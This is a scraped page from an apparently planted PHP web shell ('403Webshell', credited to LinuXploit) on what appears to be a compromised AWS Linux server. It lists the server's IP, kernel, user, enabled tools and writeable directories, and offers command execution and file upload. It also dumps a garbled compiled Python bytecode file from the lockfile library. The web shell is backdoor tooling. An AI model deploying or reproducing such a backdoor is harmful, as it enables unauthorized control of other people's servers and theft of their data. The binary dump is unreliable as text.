403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/root/lib/python3.9/site-packages/lockfile/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/lib/python3.9/site-packages/lockfile/__pycache__/linklockfile.cpython-39.pyc
a

��UV\
�@sPddlmZddlZddlZddlmZmZmZmZm	Z	m
Z
Gdd�de�ZdS)�)�absolute_importN�)�LockBase�
LockFailed�	NotLocked�	NotMyLock�LockTimeout�
AlreadyLockedc@s:eZdZdZd
dd�Zdd�Zdd�Zd	d
�Zdd�ZdS)�LinkLockFilez�Lock access to a file using atomic property of link(2).

    >>> lock = LinkLockFile('somefile')
    >>> lock = LinkLockFile('somefile', threaded=False)
    NcCszt|jd���Wn ty4td|j��Yn0|durB|n|j}t��}|durh|dkrh||7}zt�|j|j	�Wn�t
�yt�|j�j}|dkr�YdS|dur�t��|kr�t�
|j�|dkr�td|j��ntd|j��t�|du�r|d�pd�Yqh0dSqhdS)	N�wbzfailed to create %sr�z&Timeout waiting to acquire lock for %sz%s is already locked�
g�������?)�open�unique_name�close�IOErrorr�timeout�time�os�link�	lock_file�OSError�stat�st_nlink�unlinkr�pathr	�sleep)�selfrZend_timeZnlinks�r�9/usr/lib/python3.9/site-packages/lockfile/linklockfile.py�acquires2��$zLinkLockFile.acquirecCsP|��std|j��ntj�|j�s4td|j��t�|j�t�|j�dS)Nz%s is not lockedz%s is locked, but not by me)	�	is_lockedrrr�existsrrrr�rrrr�release7szLinkLockFile.releasecCstj�|j�S�N)rrr"rr#rrrr!?szLinkLockFile.is_lockedcCs(|��o&tj�|j�o&t�|j�jdkS)Nr)r!rrr"rrrr#rrr�i_am_lockingBs
��zLinkLockFile.i_am_lockingcCstj�|j�rt�|j�dSr%)rrr"rrr#rrr�
break_lockGszLinkLockFile.break_lock)N)	�__name__�
__module__�__qualname__�__doc__r r$r!r&r'rrrrr

s
&r
)Z
__future__rrr�rrrrrr	r
rrrr�<module>s 

Youez - 2016 - github.com/yon3zu
LinuXploit